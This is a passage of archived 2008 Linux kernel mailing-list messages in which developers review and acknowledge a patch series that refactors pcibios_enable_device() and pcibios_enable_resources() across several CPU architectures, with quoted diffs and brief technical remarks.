	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Feb 2008 12:15:01 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:64251 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754689AbYBRRPA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Feb 2008 12:15:00 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 3A50D1780A7; Mon, 18 Feb 2008 12:14:59 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <JWFJYY$FFD787B99A1F5B88A6B9433FC2F06B18@scarlet.be>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:121 gmane.linux.kernel:641985
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/121>

On Mon, Feb 18, 2008 at 11:32:58AM +0100, rubisher wrote:
> > On Wed, Feb 13, 2008 at 01:42:10PM +0100, rubisher wrote:
> > >
> > 
> > Can I get your Signed-off-by for this, Joel? (I assume you are Joel :)
> > 
> Yes the previous account seems to be a bit old and look more and more like a
> gc; I so take the opportunity of ml's change to use another pseudo ;-)
> 
> That said those 2 hunks help build (even boot my 32bit up kernel on b2k and
> d380 boxes):
>

ok, good to know.
 
> Signed-off-by: Joel Soete <soete dot joel at scarlet dot be>
> 

great, thanks!

> (any advise is welcome obviously ;-)
> 

cheers, kyle

From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 0/4] RFC: PCI: consolidate several
	pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 01:11:50 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20080219061150.GA10115@phobos.i.cabal.ca>
References: <20080219043952.845136014@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203401525 28310 80.91.229.12 (19 Feb 2008 06:12:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 06:12:05 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 07:12:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRLiJ-0004XK-Sh
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 07:12:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753767AbYBSGLw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 01:11:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753703AbYBSGLw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 01:11:52 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:21598 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752528AbYBSGLv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 01:11:51 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id D9BC2178090; Tue, 19 Feb 2008 01:11:50 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20080219043952.845136014@ldl.fc.hp.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:122 gmane.linux.ports.arm.kernel:38610 gmane.linux.ports.ppc64.devel:35989
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/122>

On Mon, Feb 18, 2008 at 09:39:52PM -0700, Bjorn Helgaas wrote:
>     - PA-RISC always turns on SERR and PARITY, which no other arch does
> 

I suspect this is because we set the host bus adapters to hard fail
(HPMC) on detecting an error, since we don't want to
	1) return possibly bogus (-1) data
	2) write code to use the (undocumented) error detection

More to the point, I suspect it's extra paranoia because firmware has
set it up this way. I put in a quick hack to test whether those bits
were set, and they came enabled that way by firmware on all the boxes I
tested. (Disclaimer, I didn't have any easily accessible boxes with
add-on cards installed, so firmware might just set it up for core
devices, and we're making sure its set everywhere.)

cheers, Kyle

From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 1/4] PCI: split pcibios_enable_resources() out of
	pcibios_enable_device()
Date: Tue, 19 Feb 2008 17:27:14 +1100
Lines: 218
Approved: news@gmane.org
Message-ID: <1203402434.6740.90.camel@pasglop>
References: <20080219043952.845136014@ldl.fc.hp.com>
	 <20080219044307.157131373@ldl.fc.hp.com>
Reply-To: benh@kernel.crashing.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203402576 30527 80.91.229.12 (19 Feb 2008 06:29:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 06:29:36 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 07:29:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRLzJ-00084e-49
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 07:29:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752846AbYBSG3Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 01:29:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753628AbYBSG3Z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 01:29:25 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:59843 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752846AbYBSG3Y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 01:29:24 -0500
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m1J6RSBN017524;
	Tue, 19 Feb 2008 00:27:29 -0600
In-Reply-To: <20080219044307.157131373@ldl.fc.hp.com>
X-Mailer: Evolution 2.12.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:123 gmane.linux.ports.arm.kernel:38611 gmane.linux.ports.ppc64.devel:35991
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/123>


On Mon, 2008-02-18 at 21:39 -0700, Bjorn Helgaas wrote:
> plain text document attachment (make-pcibios_enable_resources)
> On x86, pcibios_enable_device() is factored into
> pcibios_enable_resources() and pcibios_enable_irq().  On several other
> architectures, the functional equivalent of pcibios_enable_resources()
> is expanded directly inside pcibios_enable_device().
> 
> This splits these pcibios_enable_device() implementations to make them
> more similar to the x86 implementation.
> 
> There should be no functional change from this patch.
> 
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>

Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>

> 
> ---
>  arch/alpha/kernel/pci.c          |    8 +++++++-
>  arch/arm/kernel/bios32.c         |    9 +++++++--
>  arch/parisc/kernel/pci.c         |    6 +++++-
>  arch/powerpc/kernel/pci-common.c |   14 +++++++++-----
>  arch/sh/drivers/pci/pci.c        |    7 ++++++-
>  arch/sparc64/kernel/pci.c        |    7 ++++++-
>  arch/v850/kernel/rte_mb_a_pci.c  |    7 ++++++-
>  7 files changed, 46 insertions(+), 12 deletions(-)
> 
> Index: work6/arch/alpha/kernel/pci.c
> ===================================================================
> --- work6.orig/arch/alpha/kernel/pci.c	2008-02-18 10:43:50.000000000 -0700
> +++ work6/arch/alpha/kernel/pci.c	2008-02-18 10:45:14.000000000 -0700
> @@ -370,7 +370,7 @@
>  #endif
>  
>  int
> -pcibios_enable_device(struct pci_dev *dev, int mask)
> +pcibios_enable_resources(struct pci_dev *dev, int mask)
>  {
>  	u16 cmd, oldcmd;
>  	int i;
> @@ -396,6 +396,12 @@
>  	return 0;
>  }
>  
> +int
> +pcibios_enable_device(struct pci_dev *dev, int mask)
> +{
> +	return pcibios_enable_resources(dev, mask);
> +}
> +
>  /*
>   *  If we set up a device for bus mastering, we need to check the latency
>   *  timer as certain firmware forgets to set it properly, as seen
> Index: work6/arch/arm/kernel/bios32.c
> ===================================================================
> --- work6.orig/arch/arm/kernel/bios32.c	2008-02-18 10:43:50.000000000 -0700
> +++ work6/arch/arm/kernel/bios32.c	2008-02-18 10:45:14.000000000 -0700
> @@ -655,10 +655,10 @@
>  }
>  
>  /**
> - * pcibios_enable_device - Enable I/O and memory.
> + * pcibios_enable_resources - Enable I/O and memory.
>   * @dev: PCI device to be enabled
>   */
> -int pcibios_enable_device(struct pci_dev *dev, int mask)
> +int pcibios_enable_resources(struct pci_dev *dev, int mask)
>  {
>  	u16 cmd, old_cmd;
>  	int idx;
> @@ -697,6 +697,11 @@
>  	return 0;
>  }
>  
> +int pcibios_enable_device(struct pci_dev *dev, int mask)
> +{
> +	return pcibios_enable_resources(dev, mask);
> +}
> +
>  int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
>  			enum pci_mmap_state mmap_state, int write_combine)
>  {
> Index: work6/arch/parisc/kernel/pci.c
> ===================================================================
> --- work6.orig/arch/parisc/kernel/pci.c	2008-02-18 10:43:50.000000000 -0700
> +++ work6/arch/parisc/kernel/pci.c	2008-02-18 10:45:14.000000000 -0700
> @@ -285,7 +285,7 @@
>   * Drivers that do not need parity (eg graphics and possibly networking)
>   * can clear these bits if they want.
>   */
> -int pcibios_enable_device(struct pci_dev *dev, int mask)
> +int pcibios_enable_resources(struct pci_dev *dev, int mask)
>  {
>  	u16 cmd;
>  	int idx;
> @@ -317,6 +317,10 @@
>  	return 0;
>  }
>  
> +int pcibios_enable_device(struct pci_dev *dev, int mask)
> +{
> +	return pcibios_enable_resources(dev, mask);
> +}
>  
>  /* PA-RISC specific */
>  void pcibios_register_hba(struct pci_hba_data *hba)
> Index: work6/arch/powerpc/kernel/pci-common.c
> ===================================================================
> --- work6.orig/arch/powerpc/kernel/pci-common.c	2008-02-18 10:43:50.000000000 -0700
> +++ work6/arch/powerpc/kernel/pci-common.c	2008-02-18 10:45:14.000000000 -0700
> @@ -1153,16 +1153,12 @@
>  EXPORT_SYMBOL_GPL(pcibios_claim_one_bus);
>  #endif /* CONFIG_HOTPLUG */
>  
> -int pcibios_enable_device(struct pci_dev *dev, int mask)
> +int pcibios_enable_resources(struct pci_dev *dev, int mask)
>  {
>  	u16 cmd, old_cmd;
>  	int idx;
>  	struct resource *r;
>  
> -	if (ppc_md.pcibios_enable_device_hook)
> -		if (ppc_md.pcibios_enable_device_hook(dev))
> -			return -EINVAL;
> -
>  	pci_read_config_word(dev, PCI_COMMAND, &cmd);
>  	old_cmd = cmd;
>  	for (idx = 0; idx < PCI_NUM_RESOURCES; idx++) {
> @@ -1193,3 +1189,11 @@
>  	return 0;
>  }
>  
> +int pcibios_enable_device(struct pci_dev *dev, int mask)
> +{
> +	if (ppc_md.pcibios_enable_device_hook)
> +		if (ppc_md.pcibios_enable_device_hook(dev))
> +			return -EINVAL;
> +
> +	return pcibios_enable_resources(dev, mask);
> +}
> Index: work6/arch/sh/drivers/pci/pci.c
> ===================================================================
> --- work6.orig/arch/sh/drivers/pci/pci.c	2008-02-18 10:43:50.000000000 -0700
> +++ work6/arch/sh/drivers/pci/pci.c	2008-02-18 10:45:14.000000000 -0700
> @@ -131,7 +131,7 @@
>  	}
>  }
>  
> -int pcibios_enable_device(struct pci_dev *dev, int mask)
> +int pcibios_enable_resources(struct pci_dev *dev, int mask)
>  {
>  	u16 cmd, old_cmd;
>  	int idx;
> @@ -163,6 +163,11 @@
>  	return 0;
>  }
>  
> +int pcibios_enable_device(struct pci_dev *dev, int mask)
> +{
> +	return pcibios_enable_resources(dev, mask);
> +}
> +
>  /*
>   *  If we set up a device for bus mastering, we need to check and set
>   *  the latency timer as it may not be properly set.
> Index: work6/arch/sparc64/kernel/pci.c
> ===================================================================
> --- work6.orig/arch/sparc64/kernel/pci.c	2008-02-18 10:43:50.000000000 -0700
> +++ work6/arch/sparc64/kernel/pci.c	2008-02-18 10:45:14.000000000 -0700
> @@ -946,7 +946,7 @@
>  {
>  }
>  
> -int pcibios_enable_device(struct pci_dev *dev, int mask)
> +int pcibios_enable_resources(struct pci_dev *dev, int mask)
>  {
>  	u16 cmd, oldcmd;
>  	int i;
> @@ -976,6 +976,11 @@
>  	return 0;
>  }
>  
> +int pcibios_enable_device(struct pci_dev *dev, int mask)
> +{
> +	return pcibios_enable_resources(dev, mask);
> +}
> +
>  void pcibios_resource_to_bus(struct pci_dev *pdev, struct pci_bus_region *region,
>  			     struct resource *res)
>  {
> Index: work6/arch/v850/kernel/rte_mb_a_pci.c
> ===================================================================
> --- work6.orig/arch/v850/kernel/rte_mb_a_pci.c	2008-02-18 10:43:50.000000000 -0700
> +++ work6/arch/v850/kernel/rte_mb_a_pci.c	2008-02-18 10:45:14.000000000 -0700
> @@ -217,7 +217,7 @@
>  }
>  
>  
> -int __nomods_init pcibios_enable_device (struct pci_dev *dev, int mask)
> +int __nomods_init pcibios_enable_resources (struct pci_dev *dev, int mask)
>  {
>  	u16 cmd, old_cmd;
>  	int idx;
> @@ -245,6 +245,11 @@
>  	return 0;
>  }
>  
> +int __nomods_init pcibios_enable_device (struct pci_dev *dev, int mask)
> +{
> +	return pcibios_enable_resources(dev, mask);
> +}
> +
>  
>  /* Resource allocation.  */
>  static void __devinit pcibios_assign_resources (void)
> 


From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 2/4] ppc: make pcibios_enable_device() use
	pcibios_enable_resources()
Date: Tue, 19 Feb 2008 17:26:54 +1100
Lines: 64
Approved: news@gmane.org
Message-ID: <1203402414.6740.88.camel@pasglop>
References: <20080219043952.845136014@ldl.fc.hp.com>
	 <20080219044307.479128872@ldl.fc.hp.com>
Reply-To: benh@kernel.crashing.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203402583 30542 80.91.229.12 (19 Feb 2008 06:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 06:29:43 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 07:30:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRLzQ-000868-PU
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 07:30:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753703AbYBSG3c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 01:29:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753702AbYBSG31
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 01:29:27 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:59846 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753295AbYBSG3Y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 01:29:24 -0500
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m1J6R7c6017519;
	Tue, 19 Feb 2008 00:27:08 -0600
In-Reply-To: <20080219044307.479128872@ldl.fc.hp.com>
X-Mailer: Evolution 2.12.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:124 gmane.linux.ports.arm.kernel:38612 gmane.linux.ports.ppc64.devel:35992
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/124>


On Mon, 2008-02-18 at 21:39 -0700, Bjorn Helgaas wrote:
> plain text document attachment (ppc-pcibios_enable_resources)
> pcibios_enable_device() has an almost verbatim copy of
> pcibios_enable_resources(), (the only difference is that
> pcibios_enable_resources() turns on PCI_COMMAND_MEMORY if
> there's a ROM resource).
> 
> The duplication might be intentional, but I don't see any callers
> of pcibios_enable_resources() on ppc, so I think it's more
> likely a historical accident.
> 
> This patch removes the duplication, making pcibios_enable_device()
> simply call pcibios_enable_resources() as x86 does.
> 
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>

Ack. arch/ppc is being phased out soon anyway.

Ben.

> 
> Index: work6/arch/ppc/kernel/pci.c
> ===================================================================
> --- work6.orig/arch/ppc/kernel/pci.c	2008-02-18 10:43:50.000000000 -0700
> +++ work6/arch/ppc/kernel/pci.c	2008-02-18 11:31:23.000000000 -0700
> @@ -785,33 +785,11 @@
>  
>  int pcibios_enable_device(struct pci_dev *dev, int mask)
>  {
> -	u16 cmd, old_cmd;
> -	int idx;
> -	struct resource *r;
> -
>  	if (ppc_md.pcibios_enable_device_hook)
>  		if (ppc_md.pcibios_enable_device_hook(dev, 0))
>  			return -EINVAL;
> -		
> -	pci_read_config_word(dev, PCI_COMMAND, &cmd);
> -	old_cmd = cmd;
> -	for (idx=0; idx<6; idx++) {
> -		r = &dev->resource[idx];
> -		if (r->flags & IORESOURCE_UNSET) {
> -			printk(KERN_ERR "PCI: Device %s not available because of resource collisions\n", pci_name(dev));
> -			return -EINVAL;
> -		}
> -		if (r->flags & IORESOURCE_IO)
> -			cmd |= PCI_COMMAND_IO;
> -		if (r->flags & IORESOURCE_MEM)
> -			cmd |= PCI_COMMAND_MEMORY;
> -	}
> -	if (cmd != old_cmd) {
> -		printk("PCI: Enabling device %s (%04x -> %04x)\n",
> -		       pci_name(dev), old_cmd, cmd);
> -		pci_write_config_word(dev, PCI_COMMAND, cmd);
> -	}
> -	return 0;
> +
> +	return pcibios_enable_resources(dev, mask);
>  }
>  
>  struct pci_controller*
> 


From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 4/4] RFC: PCI: consolidate several
	pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 17:31:07 +1100
Lines: 23
Approved: news@gmane.org
Message-ID: <1203402667.6740.94.camel@pasglop>
References: <20080219043952.845136014@ldl.fc.hp.com>
	 <20080219044307.878416912@ldl.fc.hp.com>
Reply-To: benh@kernel.crashing.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203402726 30982 80.91.229.12 (19 Feb 2008 06:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 06:32:06 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 07:32:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRM1k-000868-2O
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 07:32:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753767AbYBSGb5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 01:31:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753702AbYBSGb5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 01:31:57 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:52428 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752846AbYBSGb4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 01:31:56 -0500
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m1J6VKg3017696;
	Tue, 19 Feb 2008 00:31:21 -0600
In-Reply-To: <20080219044307.878416912@ldl.fc.hp.com>
X-Mailer: Evolution 2.12.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:125 gmane.linux.ports.arm.kernel:38613 gmane.linux.ports.ppc64.devel:35993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/125>


On Mon, 2008-02-18 at 21:39 -0700, Bjorn Helgaas wrote:
>     powerpc: has a different collision check at (5)

I've always found the collision check dodgy. I tend to want to keep
the way powerpc does it here.

pci_enable_device() should only enable resources that have successfully
been added to the resource tree (that have passed all the collision
check etc...). There is a simple & clear indication of that: res->parent
is non-NULL. I think that is a better check than the test x86 does on
start and end.

That is, whatever the arch code decides to use to decide whether
resources are assigned by firmware or by the first pass assignment code
or not and collide or not, once that phase is finished (which is the
case when calling pcibios_enable_device(), having the resource in the
resource-tree or not is, I believe, the proper way to test whether it's
a useable resource.

Ben.



From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 4/4] RFC: PCI: consolidate several
	pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 17:33:50 +1100
Lines: 34
Approved: news@gmane.org
Message-ID: <1203402830.6740.98.camel@pasglop>
References: <20080219043952.845136014@ldl.fc.hp.com>
	 <20080219044307.878416912@ldl.fc.hp.com>
Reply-To: benh@kernel.crashing.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203402889 31296 80.91.229.12 (19 Feb 2008 06:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 06:34:49 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 07:35:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRM4M-0000dd-1k
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 07:35:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753702AbYBSGej (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 01:34:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753813AbYBSGej
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 01:34:39 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:52456 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753702AbYBSGei (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 01:34:38 -0500
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m1J6Y3vR017869;
	Tue, 19 Feb 2008 00:34:04 -0600
In-Reply-To: <20080219044307.878416912@ldl.fc.hp.com>
X-Mailer: Evolution 2.12.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:126 gmane.linux.ports.arm.kernel:38614 gmane.linux.ports.ppc64.devel:35994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/126>



> Index: work6/drivers/pci/Makefile
> ===================================================================
> --- work6.orig/drivers/pci/Makefile	2008-02-18 21:16:36.000000000 -0700
> +++ work6/drivers/pci/Makefile	2008-02-18 21:16:38.000000000 -0700
> @@ -2,7 +2,7 @@
>  # Makefile for the PCI bus specific drivers.
>  #
>  
> -obj-y		+= access.o bus.o probe.o remove.o pci.o quirks.o \
> +obj-y		+= access.o bios.o bus.o probe.o remove.o pci.o quirks.o \
>  			pci-driver.o search.o pci-sysfs.o rom.o setup-res.o
>  obj-$(CONFIG_PROC_FS) += proc.o
>  
> Index: work6/drivers/pci/bios.c
> ===================================================================
> --- /dev/null	1970-01-01 00:00:00.000000000 +0000
> +++ work6/drivers/pci/bios.c	2008-02-18 21:16:38.000000000 -070
                        ^^^^^^

Yuck :-)

Please, don't call this bios ... whatever is in this file really has
